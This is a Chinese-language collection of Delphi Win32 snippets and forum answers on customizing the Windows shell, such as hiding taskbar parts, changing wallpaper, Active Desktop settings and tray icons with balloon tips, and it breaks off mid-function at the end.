隐藏系统托盘
procedure hideStartbutton(visi:boolean);

{visi 为 True 则显示，False则隐藏}

Var

Tray, Child : hWnd;

C : Array[0..127] of Char;

S : String;

Begin

Tray := FindWindow('Shell_TrayWnd', NIL);

Child := GetWindow(Tray, GW_CHILD);

While Child <> 0 do

Begin

If GetClassName(Child, C, SizeOf(C)) > 0 Then

Begin

S := StrPAS(C);

If UpperCase(S) = 'TRAYNOTIFYWND' then

begin

If Visi then ShowWindow(Child, 1)

else ShowWindow(Child, 0);

end;

End;

Child := GetWindow(Child, GW_HWNDNEXT);

End;

End;


Windows开始菜单类名
Write by o*o

BaseBar就是WIN98开始菜单的Class Name

BaseBar就是WIN98开始菜单的Class Name，

并且它是窗口，而不是菜单。证明如下：

1，记得以前回答过一个问题“如何替换WINDOWS的开始菜单”，

我就是用FindWindow('BaseBar',nil)找到它的所有HWND，并销毁之的。

2，前面说过，WinSight中普通菜单弹出，则那一行出现，

菜单消失，那一行也消失。而BaseBar不是这样。

3，WIN98开始菜单支持右键，DragDrop，Hint。

普通菜单是没有这些功能的。

4，注意WIN98开始菜单右键弹出Context Menu后的情况，

普通菜单失去焦点后会消失的。


Refesh Desktop
I don't know if this will work - I haven't tried it, but effectively you

could hide and then show the listview on the desktop (the desktop icons

reside in a transparent listview)

function GetDeskHandle(ArrivingHandle:hwnd;lparam:lparam):boolean;

var

cname:array[0..100] of char;

begin

result:=true;

getclassname(ArrivingHandle,cname,100);

if cname='SysListView32' then

DesktopListViewHandle:=ArrivingHandle;

end;

function GetDesktopListViewHandle: THandle;

begin

Result := FindWindow('ProgMan', nil);

DesktopListViewHandle:=0;

enumchildwindows(Result,@GetDeskHandle,0);

Result:=DesktopListViewHandle;

end;

procedure ShowDesktop(showit:boolean);

var

wnd:hwnd;

begin

wnd:=getdesktoplistviewhandle;

if showit then

showwindow(wnd,sw_shownormal)

else

showwindow(wnd,sw_hide);

end;

then just call ShowDesktop(false); ShowDesktop(true);


更换墙纸
这些代码都是很久以前就有了的，但是一直没有收录进来，现在硬盘够大，就收录进来吧。都是很简单的技巧。：）

// 1.Way:

uses

Registry;

procedure SetWallpaper(sWallPaperBMPPath: string; bTile: Boolean);

var

reg: TRegIniFile;

begin

reg := TRegIniFile.Create('Control Panel');

try

with reg do

begin

WriteString('', 'Wallpaper', sWallPaperBMPPath);

WriteString('', 'TileWallpaper', IntToStr(Ord(bTile)));

end;

finally

reg.Free;

end;

SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, nil, SPIF_SENDWININICHANGE);

end;

// 2. Way:

procedure TForm1.Button1Click(Sender: TObject);

var

sWallPaperBMPPath: string;

begin

sWallPaperBMPPath := 'C:[WinDIR].bmp';

if not SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Pointer(sWallPaperBMPPath),

SPIF_SENDWININICHANGE) then

ShowMessage('Succesful.')

else

ShowMessage('Failed!');

end;

// 3. Set the wallpaper for the Active Desktop.

{

You may have noticed that using SystemParametersInfo to change the wallpaper

when ActiveDesktop is turned on doesn't work. The reason is because you need

to use the IActiveDesktop COM interface. Using SystemParametersInfo still works,

but it doesn't update the wallpaper.

Requires Internet Explorer 4.0 or later).

}

uses

ShlObj, ComObj;

function ChangeWallpaper(aFile: String): Boolean;

const

CLSID_ActiveDesktop: TGUID = '{75048700-EF1F-11D0-9888-006097DEACF9}';

var

hObj: IUnknown;

ADesktop: IActiveDesktop;

str: string;

wstr: PWideChar;

begin

hObj := CreateComObject(CLSID_ActiveDesktop);

ADesktop := hObj as IActiveDesktop;

wstr := AllocMem(MAX_PATH);

try

StringToWideChar(aFile, wstr, MAX_PATH);

ADesktop.SetWallpaper(wstr, 0);

ADesktop.ApplyChanges(AD_APPLY_ALL or AD_APPLY_FORCE);

finally

FreeMem(wstr);

end;

end;

**************************************

活动桌面下更换墙纸：

uses shlobj;

获得墙纸

procedure TForm1.Button1Click(Sender: TObject);

var

ADeskTop:IActiveDesktop;

wallpaper:PwideChar;

begin

ADeskTop:=CreateComObject(CLSID_ActiveDesktop) as IActiveDesktop;

GetMem(wallpaper,128);

ADeskTop.GetWallpaper(wallpaper,128,0);

ShowMessage(string(wallpaper));

FreeMem(wallpaper);

end;

设置墙纸

procedure TForm1.Button1Click(Sender: TObject);

var

ADeskTop:IActiveDesktop;

wallpaper:PwideChar;

begin

ADeskTop:=CreateComObject(CLSID_ActiveDesktop) as IActiveDesktop;

wallpaper:='d:2.bmp';

ADeskTop.SetWallpaper(wallpaper,0);

ADeskTop.ApplyChanges(AD_APPLY_ALL);

end;

---------------------------------

来自：hahabb 时间：00-4-30 11:54:55 ID:234851

IActiveDesktop是什么？我运行的时候提示未知标识符。

来自：liuly 时间：00-4-30 14:08:28 ID:234937

uses

ComObj, // For CreateComObject

ShlObj; // For IActiveDesktop

来自：hahabb 时间：00-4-30 16:48:00 ID:235022

CLSID_ActiveDesktop是什么？

--------------------------------------------------------------------------------

来自：hahabb 时间：00-5-5 7:57:21 ID:238318

Who can help me?

--------------------------------------------------------------------------------

来自：hubdog 时间：00-5-5 8:09:09 ID:238330

CLSID_ShellDesktop: TGUID = (

D1:$00021400; D2:$0000; D3:$0000; D4:($C0,$00,$00,$00,$00,$00,$00,$46));

就是com对象的全球唯一标识符Guid


挂接桌面窗口wndproc
我是着帮你用修改DeskTopWindow的窗口过程。但没成功。

OldWndProc: function(h: hwnd; m: tmsg; w: wparam; l: lparam): integer; stdcall;

function NewWndProc(h: hwnd; m: tmsg; w: wparam; l: lparam): integer; stdcall;

var

hdc: Integer;

begin

Result := OldWndProc(h,m,w,l);

if h=WM_PAINT then

begin

hdc := GetDC(h);

Rectangle(hdc,100,100,300,300);

ReleaseDC(h,hdc);

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

var

hwnd: Integer;

retv: Integer;

begin

hwnd := GetDeskTopWindow;

OldWndProc := Pointer(GetWindowLong(hwnd,GWL_WNDPROC));

retv := SetWindowLong(hwnd,GWL_WNDPROC,Integer(@NewWndProc));

end; //retv 老是为零

procedure TForm1.FormDestroy(Sender: TObject);

var

hwnd: Integer;

retv: Integer;

begin

hwnd := GetDeskTopWindow;

retv := SetWindowLong(hwnd,GWL_WNDPROC,Integer(@OldWndProc));

end;


列出在任务栏有按钮的窗口
function GetText(Wnd : HWND):string;

var textlength : integer;

text : PChar;

begin

textlength:=SendMessage(Wnd,WM_GETTEXTLENGTH,0,0);

if textlength=0 then Result := ''

else

begin

getmem(text,textlength+1);

SendMessage(Wnd,WM_GETTEXT,textlength+1,Integer(text));

Result:=text;

freemem(text);

end;

end;

Function EnumWindowsProc (Wnd: HWND; LParam: LPARAM): BOOL; stdcall;

begin

Result := True;

if (IsWindowVisible(Wnd) or IsIconic(wnd)) and

((GetWindowLong(Wnd, GWL_HWNDPARENT) = 0) or

(GetWindowLong(Wnd, GWL_HWNDPARENT) = GetDesktopWindow)) and

(GetWindowLong(Wnd, GWL_EXSTYLE) and WS_EX_TOOLWINDOW = 0) then

Form1.Listbox1.items.add('Handle: ' + Inttostr(Wnd) + ',Text: ' +GetText(Wnd));

end;

procedure TForm1.Button1Click(Sender: TObject);

var

Param : Longint;

begin

EnumWindows(@EnumWindowsProc , Param);

end;


删除桌面所有图标并且保留菜单
怎么才能隐藏桌面上的图标，而桌面右键菜单不被屏蔽？

var

wnd:HWND;

begin

Wnd := GetDesktopWindow;

Wnd := FindWindowEx(Wnd, 0, 'Progman', nil);

Wnd := FindWindowEx(Wnd, 0, 'SHELLDLL_DefView', nil);

Wnd := FindWindowEx(Wnd, 0, 'SysListView32', nil);

SendMessage(wnd, LVM_DELETEALLITEMS, 0, 0)

end;


使桌面的图标文字透明
var wnd:HWND;

begin

Wnd := GetDesktopWindow;

Wnd := FindWindowEx(Wnd, 0, 'Progman', nil);

Wnd := FindWindowEx(Wnd, 0, 'SHELLDLL_DefView', nil);

Wnd := FindWindowEx(Wnd, 0, 'SysListView32', nil);

SendMessage(Wnd, $1026, 0, $ffffffff);

SendMessage(Wnd, $1024, 0, $00ffffff);

InvalidateRect(Wnd, nil, TRUE);

end;


显示桌面
： 如何实现win98任务栏上"显示桌面"的功能？

发送一个DDE消息即可


最小化所有窗口
keybd_event(91, MapVirtualKey( 91, 0 ), 0 , 0 ); // win 键按下

keybd_event(77, MapVirtualKey( 77, 0 ), 0 , 0 ); // M 键按下

keybd_event(77, MapVirtualKey( 77, 0 ), KEYEVENTF_KEYUP , 0 ); // M 键抬起

keybd_event(91, MapVirtualKey( 91, 0 ), KEYEVENTF_KEYUP , 0 ); // win 键抬起

**************************

procedure TForm1.Button1Click(Sender: TObject);

var

h: HWnd;

begin

h := Handle;

while h > 0 do

begin

if IsWindowVisible(h) then

PostMessage(h, WM_SYSCOMMAND, SC_MINIMIZE, 0);

h := GetNextWindow(h, GW_HWNDNEXT);

end;

end;

// Or Simulate Win + M:

procedure TForm1.Button1Click(Sender: TObject);

begin

Keybd_event(VK_LWIN, 0, 0, 0);

Keybd_event(Byte('M'), 0, 0, 0);

Keybd_event(Byte('M'), 0, KEYEVENTF_KEYUP, 0);

Keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0);

end;


关于任务栏和开始菜单
修改windows里的开始按钮的位图

/修改

var

Form1: TForm1;

StartButton: hWnd;

OldBitmap: THandle;

NewImage: TPicture;

/ 将代码放入FormCreate事件

procedure TForm1.FormCreate(Sender: TObject);

begin

NewImage := TPicture.create;

NewImage.LoadFromFile('C:.BMP');

StartButton := FindWindowEx

(FindWindow(

'Shell_TrayWnd', nil),

0,'Button', nil);

OldBitmap := SendMessage(StartButton,

BM_SetImage, 0,

NewImage.Bitmap.Handle);

end;

/还原

procedure TForm1.FormDestroy(Sender: TObject);

begin

SendMessage(StartButton,BM_SetImage,0,OldBitmap);

NewImage.Free;

end;

罗义书

procedure TForm1.DisableStartMenu;

var

Handle,ChildHandle,SecLayerH,H:HWND;

clsName:pchar;

begin

h:=findwindow('progman',nil);

if h<>0 then

showwindow(h,sw_hide);

//

getmem(clsName,255);

Handle:=FindWindow('Shell_TrayWnd',nil);

if Handle<>0 then

begin

ChildHandle:=GetWindow(Handle,GW_Child);

while ChildHandle<>0 do

begin

GetClassName(ChildHandle,clsName,255);

if string(clsName)='Button' then

begin

PostMessage(ChildHandle,WM_SYSCOMMAND,SC_CLOSE,0);

end;

if string(clsName)='TrayNotifyWnd' then

begin

SecLayerH:=GetWindow(ChildHandle,GW_CHILD);

while SecLayerH<>0 do

begin

GetClassName(SecLayerH,clsName,255);

if string(clsName)='TrayClockWClass' then

begin

PostMessage(SecLayerH,WM_SYSCOMMAND,SC_CLOSE,0);

end;

SecLayerH:=GetWindow(SecLayerH,GW_HWNDNEXT);

end;

end;

ChildHandle:=GetWindow(ChildHandle,GW_HWNDNEXT);

end;

end;

freemem(clsName,255);

end;


Windows 任务栏和分辨率
我在程序中将屏幕分辨率由低改到高后，Windows 任务栏总是停留在屏幕中央，我想用

以下代码将它放到屏幕底部，却总是不行，请各位告诉我应该怎样做才行，最好给出代码，

谢谢。

var abp:Tappbardata;

begin

……

abp.hWnd:=FindWindow('shell_traywnd',0);

abp.uEdge:=ABE_BOTTOM;

SHAppBarMessage(ABM_SetPos,abp);

……

end;

因为你修改分辨率时，没有更新注册表

function TForm1.DynamicResolution(X, Y: word): BOOL;

var

lpDevMode: TDeviceMode;

begin

Result := EnumDisplaySettings(nil, 0, lpDevMode);

if Result then

begin

lpDevMode.dmFields := DM_PELSWIDTH Or DM_PELSHEIGHT;

lpDevMode.dmPelsWidth := X;

lpDevMode.dmPelsHeight := Y;

Result := ChangeDisplaySettings(lpDevMode, CDS_UPDATEREGISTRY) = DISP_CHANGE_SUCCESSFUL;

// ^^^^^^^^^^^^^^^^^^

end;

end;


Active Desktop,活动桌面
uses shlobj,comobj;

{ 打开/关闭活动桌面 }

function SetActiveDesktop(const b: Boolean): integer;

var

Desktop: IActiveDesktop;

Info: TComponentsOpt;

begin

DeskTop := CreateComObject(CLSID_ActiveDesktop) as IActiveDesktop;

Result := GetLastError;

info.dwSize := sizeof(info);

info.fActiveDesktop := b;

info.fEnableComponents := false;

Desktop.SetDesktopItemOptions(info, 0);

DeskTop.ApplyChanges(AD_APPLY_ALL);

end;

uses

ComObj, ShlObj, ActiveX;

{ 允许/关闭活动桌面 }

procedure EnableActiveDesktop(bValue: Boolean);

const

CLSID_ActiveDesktop: TGUID = (D1: $75048700; D2: $EF1F; D3: $11D0;

D4: ($98, $88, $00, $60, $97, $DE, $AC, $F9));

var

MyObject: IUnknown;

ActiveDesk: IActiveDesktop;

twpoComponentOpt: TComponentsOpt;

begin

MyObject := CreateComObject(CLSID_ActiveDesktop);

ActiveDesk := MyObject as IActiveDesktop;

with twpoComponentOpt do

begin

ZeroMemory(@twpoComponentOpt, SizeOf(TComponentsOpt));

dwSize := SizeOf(twpoComponentOpt);

fEnableComponents := bValue;

// fActiveDesktop := True;

end;

ActiveDesk.SetDesktopItemOptions(twpoComponentOpt, 0);

ActiveDesk.ApplyChanges(AD_APPLY_ALL);

end;

{ 设置活动桌面墙纸 }

function SetActiveDesktopWallpaper(FileName: string): integer;

var

Desktop: IActiveDesktop;

Temp: WideString;

begin

DeskTop := CreateComObject(CLSID_ActiveDesktop) as IActiveDesktop;

Result := GetLastError;

Temp := FileName;

Desktop.SetWallpaper(PWideChar(Temp), 0);

DeskTop.ApplyChanges(AD_APPLY_ALL);

end;

{ 判断活动桌面是否存在 }

function ActiveDesktop : Boolean;

begin

Result := FindWindowEx(FindWindowEx(FindWindowEx(

GetDesktopWindow, 0, 'Progman', nil), 0,

'SHELLDLL_DefView', nil), 0, 'Internet Explorer_Server',

nil) <> 0;

end;

{ 怎样知道用户的计算机中装有活动桌面 }

olecheck(createcomobject(class_iactivedesktop))(classid具体是什么

记不清了，你再查查是什么东西，只要没有异常就是安装了活动桌面）

{ 怎样在程序中把活动桌面关闭? }

怎样在程序中把活动桌面关闭?就像在桌面上单击右键,吧"活动桌面"中的"按Web页查看"去掉.

不就是改注册表吗，这个我在行。

我在win 2000下是

HKEY_CURRENT_USER

将其中的63改为23即可。

上次有人问过如何开，这次有人问如何关，有意思。为什么不先查一查。


Sys Tray
程序缩小为任务条右下角的小图标

某些程序运行启动后并不出现在任务条中，而是缩小为任务条右下角的一个小图标，当鼠标移到这个小图标上时会出现一些提示信息、单击该小图标会执行一些特定的操作。便如任务条右下角的小喇叭图标，单击它会弹出一个简单的音量控制条，双击会启动另一个更大的音量控制程序。

    在Shell32.DLL动态链接库中包括一个函数Shell_NotifyIconA()可通知Windows在任务条右下角加入一个小图标，可惜该函数的详细说明未收入Delphi的帮助文档中，下面以一个简单的实例来说明如果使用该函数。

unit Unit1;

interface

{ 记住在uses部分中包括 ShellAPI}

uses

Windows, Messages, SysUtils, Classes,

Graphics, Controls, Forms, Dialogs,

ShellAPI, StdCtrls;

{自定义消息，当小图标捕捉到鼠标事件时Windows向回调函数发送此消息}

{自定义消息，当小图标捕捉到鼠标事件时Windows向回调函数发送此消息}

const MY_MESSAGE = WM_USER + 100;

type

TForm1 = class(TForm)

procedure FormCreate(Sender: TObject);

procedure FormClose(Sender: TObject; var Action: TCloseAction);

procedure FormPaint(Sender: TObject);

private

procedure OnIconNotify(var Message: TMessage);

message MY_MESSAGE;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

{当小图标捕捉到鼠标事件时进入此过程}

{当小图标捕捉到鼠标事件时进入此过程}

procedure TForm1.OnIconNotify(var Message: TMessage);

const

Busy: Boolean = false;

begin

if not Busy then begin

Busy := true;

if Message.LParam=WM_LBUTTONDOWN then

if Application.MessageBox('Are you sure',

'Exit', MB_YESNO)=IDYES then Close;

Busy := false;

end;

end;

{当主Form建立时通知Windows加入小图标}

procedure TForm1.FormCreate(Sender: TObject);

var

nid: TNotifyIconData;

begin

nid.cbSize := sizeof(nid); // nid变量的字节数

nid.Wnd := Handle; // 主窗口句柄

nid.uID := -1; // 内部标识，可设为任意数

nid.hIcon := Application.Icon.Handle; // 要加入的图标句柄，可任意指?

nid.hIcon := Application.Icon.Handle; // 要加入的图标句柄，可任意指?

nid.szTip := 'This is a test application'; // 提示字符串

nid.uCallbackMessage := MY_MESSAGE; // 回调函数消息

nid.uFlags := NIF_ICON or NIF_TIP or NIF_MESSAGE; // 指明哪些字段有?

if not Shell_NotifyIcon(NIM_ADD, @nid) then begin

ShowMessage('Failed!');

Application.Terminate;

end;

{将程序的窗口样式设为TOOL窗口，可避免在任务条上出现}

SetWindowLong(Application.Handle, GWL_EXSTYLE, WS_EX_TOOLWINDOW);

end;

{程序被关闭时通知Windows去掉小图标}

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

var

nid: TNotifyIconData;

begin

nid.cbSize := sizeof(nid); // nid变量的字节数

nid.cbSize := sizeof(nid); // nid变量的字节数

nid.uID := -1; //内部标识，与加入小图标时的数一致

nid.Wnd := Handle; //主窗口句柄

Shell_NotifyIcon(NIM_DELETE, @nid); //去掉小图标

Shell_NotifyIcon(NIM_DELETE, @nid); //去掉小图标

end;

{主窗口初始化完毕并显示时将激活Paint重画事件，此时将主窗口隐藏}

procedure TForm1.FormPaint(Sender: TObject);

begin

Hide;

end;

end.

    上例中将程序的图标放在任务条右下角，然后隐藏自身，当用户移动鼠标至该图标上时会看到提示字符串，如果单击该图标会出现一个对话框，选择Yes退出程序并清除小图标。

From http://www.netease.com/~seawave/main/frame.html


托盘图标的一个问题
点击托盘图标时，弹出一个菜单，可是如果再点击别的地方时（除菜单外），这个菜单一直显示，它不能隐藏，如何解决？（好多程序都有这个漏洞（有时出现上述情况），除了输入法外都有这个缺陷）

回复人： Raptor(猛禽) ( ) 信誉：105 2001-9-24 18:52:19 得分:10

呵，这问题几乎所有TRAYICON控件都有，包括我以前写的一个。我在公司曾经解决过，不过程序弄不出来。^_^原理就是在MouseClick时不弹出菜单，改为Post一个自定义的消息，在这个消息响应中弹出菜单就没有这个问题了。^_^

在PopupMenu之前

SetForegroundWindow(Form1.Handle);


新型SysTray提示
新型SysTray提示

在Windows2000里面，拨号网络连接之后，或者是收藏夹被折叠的时候，会有一个漫画框式的提示，这个需要IE5以上的支持。

procedure TForm1.AddNewSysTrayIcon;

const

TRAY_CALLBACK = WM_USER + $7258;

NIF_INFO = $10;

NIM_SETVERSION = $00000004;

NOTIFYICON_VERSION = 3;

NIM_SETFOCUS = $00000003;

NIIF_INFO = $00000001;

NIN_BALLOONSHOW = WM_USER + 2;

NIN_BALLOONHIDE = WM_USER + 3;

NIN_BALLOONTIMEOUT = WM_USER + 4;

NIN_BALLOONUSERCLICK = WM_USER + 5;

type

PNewNotifyIconData = ^TNewNotifyIconData;

TDUMMYUNIONNAME = Record

case Integer of

0: (uTimeout: UINT);

1: (uVersion: UINT);

end;

TNewNotifyIconData = Record

cbSize: DWORD;

Wnd: HWND;

uID: UINT;

uFlags: UINT;

uCallbackMessage: UINT;

hIcon: HICON;

szTip: array [0..127] of Char;

dwState: DWORD; ///Version 5.0

dwStateMask: DWORD; ///Version 5.0

szInfo: array [0..255] of Char; ///Version 5.0

DUMMYUNIONNAME: TDUMMYUNIONNAME;

szInfoTitle: array [0..63] of Char; ///Version 5.0

dwInfoFlags: DWORD; ///Version 5.0

end;

var

TipInfo, TipTitle: string;

IconData: TNewNotifyIconData;

begin

IconData.cbSize := sizeof(IconData);

IconData.Wnd := Handle;

IconData.uID := 0;

IconData.uFlags := NIF_ICON or NIF_MESSAGE or NIF_INFO or NIF_TIP;

IconData.uCallbackMessage := TRAY_CALLBACK;

IconData.hIcon := Image1.Picture.Icon.Handle; ///an icon's handle

IconData.szTip := 'That''s all.';

TipInfo := 'Please send me email.';

strPLCopy(IconData.szInfo, TipInfo, sizeof(IconData.szInfo) - 1);

IconData.DUMMYUNIONNAME.uTimeout := 3000;

TipTitle := 'Happyjoe@21cn.com';

strPLCopy(IconData.szInfoTitle, TipTitle, sizeof(IconData.szInfoTitle) - 1);

IconData.dwInfoFlags := NIIF_INFO;

if not Shell_NotifyIcon(NIM_ADD, @IconData) then

showmessage('add fail');

IconData.DUMMYUNIONNAME.uVersion := NOTIFYICON_VERSION;

if not Shell_NotifyIcon(NIM_SETVERSION, @IconData) then

showmessage('setversion fail');

end;

**************

首先定义新的常数：

const

NIF_INFO = $10;

NIM_SETVERSION = $00000004;

NOTIFYICON_VERSION = 3;

NIM_SETFOCUS = $00000003;

NIIF_INFO = $00000001;

NIIF_WARNING = $00000002;

NIIF_ERROR = $00000003;

NIN_BALLOONSHOW = WM_USER + 2;

NIN_BALLOONHIDE = WM_USER + 3;

NIN_BALLOONTIMEOUT = WM_USER + 4;

NIN_BALLOONUSERCLICK = WM_USER + 5;

NIN_SELECT = WM_USER + 0;

NINF_KEY = $1;

NIN_KEYSELECT = NIN_SELECT or NINF_KEY;

{上面列的可能不全，如果没有定义到的，可在 vs.net 中 vc7 中的 PlatformSDK.h 中找到}

再定义一个SysTrayIcon的回传消息：

TRAY_CALLBACK = WM_USER + $7258;

然后定义新的 NotifyIconData 结构（放在Type中）：

Type

PNewNotifyIconData = ^TNewNotifyIconData;

TDUMMYUNIONNAME = Record

case Integer of

0: (uTimeout: UINT);

1: (uVersion: UINT);

end;

TNewNotifyIconData = Record

cbSize: DWORD;

Wnd: HWND;

uID: UINT;

uFlags: UINT;

uCallbackMessage: UINT;

hIcon: HICON;

szTip: array [0..127] of Char; //Version 5.0为128个，以前为64个

dwState: DWORD; //Version 5.0

dwStateMask: DWORD; //Version 5.0

szInfo: array [0..255] of Char; //Version 5.0

DUMMYUNIONNAME: TDUMMYUNIONNAME;

szInfoTitle: array [0..63] of Char; //Version 5.0

dwInfoFlags: DWORD; //Version 5.0

end;

声明一个全局变量：

var

IconData: TNewNotifyIconData;

接着转入正题，下面一个过程用来添加 SystrayIcon ：

procedure AddSysTrayIcon;

begin

IconData.cbSize := sizeof(IconData);

IconData.Wnd := AllocateHWnd(SysTrayIconMsgHandler); //Self.Handle; {SysTrayIconMsgHandler 为后面定义的消息处理过程}

IconData.uID := 0;

IconData.uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;

IconData.uCallbackMessage := TRAY_CALLBACK; //自定义回传消息

IconData.hIcon := Image1.Picture.Icon.Handle; //此处为一 Icon 的 Handle

IconData.szTip := 'Please send me email.';

if not Shell_NotifyIcon(NIM_ADD, @IconData) then

showmessage('add fail');

end;

再有一个过程用来显示 Balloon Tips ：

procedure ShowBalloonTips;

var

TipInfo, TipTitle: string;

begin

IconData.cbSize := sizeof(IconData);

IconData.uFlags := NIF_INFO;

TipInfo := 'Please send me email.';

strPLCopy(IconData.szInfo, TipInfo, sizeof(IconData.szInfo) - 1);

IconData.DUMMYUNIONNAME.uTimeout := 3000;

TipTitle := 'Happyjoe@21cn.com';

strPLCopy(IconData.szInfoTitle, TipTitle, sizeof(IconData.szInfoTitle) - 1);

IconData.dwInfoFlags := NIIF_INFO; //NIIF_ERROR; //NIIF_WARNING;

Shell_NotifyIcon(NIM_MODIFY, @IconData);

//下面的代码实际上没有用，去掉也可以（至少目前这样认为）

IconData.DUMMYUNIONNAME.uVersion := NOTIFYICON_VERSION;

if not Shell_NotifyIcon(NIM_SETVERSION, @IconData) then

showmessage('setversion fail');

end;

别忘了删除过程：

procedure DeleteSysTrayIcon;

begin

DeallocateHWnd(IconData.Wnd);

if not Shell_NotifyIcon(NIM_DELETE, @IconData) then

showmessage('delete fail');

end;

还有重要的环节---消息处理：

声明：

procedure SysTrayIconMsgHandler(var Msg: TMessage); message TRAY_CALLBACK;

定义：

procedure SysTrayIconMsgHandler(var Msg: TMessage);

begin

case Msg.LParam of

WM_MOUSEMOVE: ;

WM_LBUTTONDOWN: ;

WM_LBUTTONUP: ;

WM_LBUTTONDBLCLK: ;

WM_RBUTTONDOWN: ;

WM_RBUTTONUP: ;

WM_RBUTTONDBLCLK: ;

//以下为新加入的消息

NIN_BALLOONSHOW: {当 Balloon Tips 弹出时执行}

showmessage('NIN_BALLOONSHOW');

NIN_BALLOONHIDE: {当 Balloon Tips 消失时执行（例如 SysTrayIcon 被删除），但指定的 TimeOut 时间到或鼠标点击 Balloon Tips 后的消失不发送此消息}

showmessage('NIN_BALLOONHIDE');

NIN_BALLOONTIMEOUT: {当 Balloon Tips 的 TimeOut 时间到时执行}

showmessage('NIN_BALLOONTIMEOUT');

NIN_BALLOONUSERCLICK: {当鼠标点击 Balloon Tips 时执行。注意：在XP下执行时 Balloon Tips 上有个关闭按钮，而且 Balloon Tips 一直显示（IconData.DUMMYUNIONNAME.uTimeout := 3000; 这句话设定的时间没有用，我的测试是这样的），如果鼠标点在按钮上将接收到 NIN_BALLOONTIMEOUT 消息。}

showmessage('NIN_BALLOONUSERCLICK');

end;

end;

好了，代码写完了。我原先还在到处贴贴子问及如何强制显示 SysTrayIcon 的Tips，现在看来只要执行 ShowBalloonTips （将结构中新的域赋上值，执行NIM_MODIFY 动作）就立即显示出来了。不知道自己回答了自己的问题斑竹会不会给分啊。 ^_^

新特性需要 IE5.0 或以上版本，我在 Win2000、XP + Delphi 6.0下测试通过。手头没有98/ME，不知道可不可以。

（完）


任务栏的自动隐藏等等
本文由如何编程设置Taskbar的Auto Hide属性这个问题开始探讨Taskbar编程技巧问题．

Taskbar 编程技巧

    我的计算机自从装上Windows 95以后，我开始使用那个叫做Taskbar的冬冬，但是从来也没有怎么注意和研究过这个冬冬，最多不过往上面加个小动画图标什么的（网上相关的信息泛滥）。但有一次在万千讨论组Delphi版（news://www.webking.com.cn）里面，网友问到一个刁钻的问题 -- 如何编程设置Taskbar的Auto Hide属性。

问题一提出来，我非常感兴趣（只是觉得好玩），我开始研究了这个平时没有注意的细微角落。我开始查阅MSDN的Taskbar小节的内容。结果却让我大为失望，没有MSDN的朋友可以参考下面的网址（http://msdn.microsoft.com/library/psdk/shellcc/shell/Shell_Int/Taskbar.htm）

    "The taskbar supports two display options: Auto Hide and Always On Top. To set these options, the user must open the taskbar shortcut menu, click Properties, and select or clear the Auto Hide check box or the Always On Top check box. There is no way to set these options programmatically. To retrieve the state of these display options, use the ABM_GETSTATE message."

-- 摘抄自MSDN

    这段话的意思就是通过编程是无法改变Taskbar的Auto Hide和Always On Top状态，只能够通过ABM_GETSTATE消息获取Taskbar的状态，我KAO！又是Microsoft的技术壁垒，M$自己肯定是要对Taskbar状态进行设置的，几乎肯定存在没有公开的API用来设置Taskbar状态，只是不明白Microsoft隐瞒这个无伤大雅的细节出于什么样的目的，不管那么多，我们试着获取Taskbar状态先，

function IsTaskbarAutoHideOn : boolean;

var

ABData : TAppBarData;

begin

ABData.cbSize := sizeof(ABData);

Result := (SHAppBarMessage(ABM_GETSTATE, ABData) and ABS_AUTOHIDE) > 0;

end;

function IsTaskbarAlwaysOnTop : boolean;

var

ABData : TAppBarData;

begin

ABData.cbSize := sizeof(ABData);

Result := (SHAppBarMessage(ABM_GETSTATE, ABData) and ABS_ALWAYSONTOP) > 0;

end;

    上面的代码可以获取Taskbar的Auto Hide和Always On Top状态，需要使用SHAppBarMessage函数发送ABM_GetState消息，唯一一点值得注意的是，MSDN提到必须填充APPBARDATA 数据结构的cbSize和hWnd成员数据。但是我并没有填写hWnd数据成员，仍然得到了正确的结果。

以上函数可以参考以下网址：

    http://msdn.microsoft.com/library/psdk/shellcc/shell/Messages/ABM_GETSTATE.htm

    通过使用spy++(主要是为了获取Taskbar窗口句柄)，我的研究开始变得非常有趣，Taskbar的类名为ShellTrayWnd（下图蓝色线框的部分），通过FindWindow函数获取Taskbar的窗口句柄，我们就可以通过ShowWindow函数进行窗口的隐藏和显示。

procedure ShowTaskbar(bShow : boolean);

var

HTaskbar : HWND;

begin

HTaskBar:=FindWindow('Shell_TrayWnd', nil);

if bShow then

ShowWindow(HTaskbar,SW_SHOW)

else

ShowWindow(HTaskbar,SW_HIDE);

end;

到此算是勉强回答了那个网友的问题。

二、继续我们的Taskbar的搞笑研究。

procedure EnableTaskbar(bEnable : boolean);

var

HTaskbar : HWND;

begin

HTaskBar:=FindWindow('Shell_TrayWnd', nil);

EnableWindow(HTaskBar, bEnable);

end;

    这个函数和上面的函数惊人的相似，这个函数不是隐藏Taskbar，而是让Taskbar不听使唤，使用的是EnableWindow函数。

    其实，细心研究上面的spy++窗口会发现，Taskbar窗口还有很多的子窗口，这是几个相当有意思的类名称 -- Button、TrayClockWClass、ToolbarWindow32、SysTabControl32，我试着找到这些类实例的窗口句柄并分别隐藏了它们，感兴趣的朋友可以使用下面的函数试一试：

procedure ShowTaskbarClock(bShow: boolean);

var

TrayWnd, TrayNWnd, ClockWnd : Hwnd;

begin

TrayWnd := FindWindow('Shell_TrayWnd', nil);

TrayNWnd := FindWindowEx(TrayWnd,0,'TrayNotifyWnd', nil);

ClockWnd := FindWindowEx(TrayNWnd,0,'TrayClockWClass', nil);

if bShow = true then

ShowWindow(ClockWnd,sw_show)

else

ShowWindow(ClockWnd,sw_hide)

end;

// 显示、隐藏任务栏的时间显示

procedure ShowTaskbarStartBtn(bShow : boolean);

var

HTaskBar, HButton : Hwnd;

begin

HTaskBar := FindWindow('Shell_TrayWnd', nil);

HButton := FindWindowEx(HTaskBar,0,'Button', nil);

if bShow then

ShowWindow(HButton,sw_show)

else

ShowWindow(HButton,sw_hide) ;

end;

// 显示、隐藏任务栏的开始按键(Start按键)

procedure ShowToolbarWindow32(bShow: boolean);

var

TrayWnd, TrayNWnd, ToolbarWnd : Hwnd;

begin

TrayWnd := FindWindow('Shell_TrayWnd', nil);

TrayNWnd := FindWindowEx(TrayWnd,0,'TrayNotifyWnd', nil);

ToolbarWnd := FindWindowEx(TrayNWnd,0,'ToolbarWindow32', nil);

if bShow then

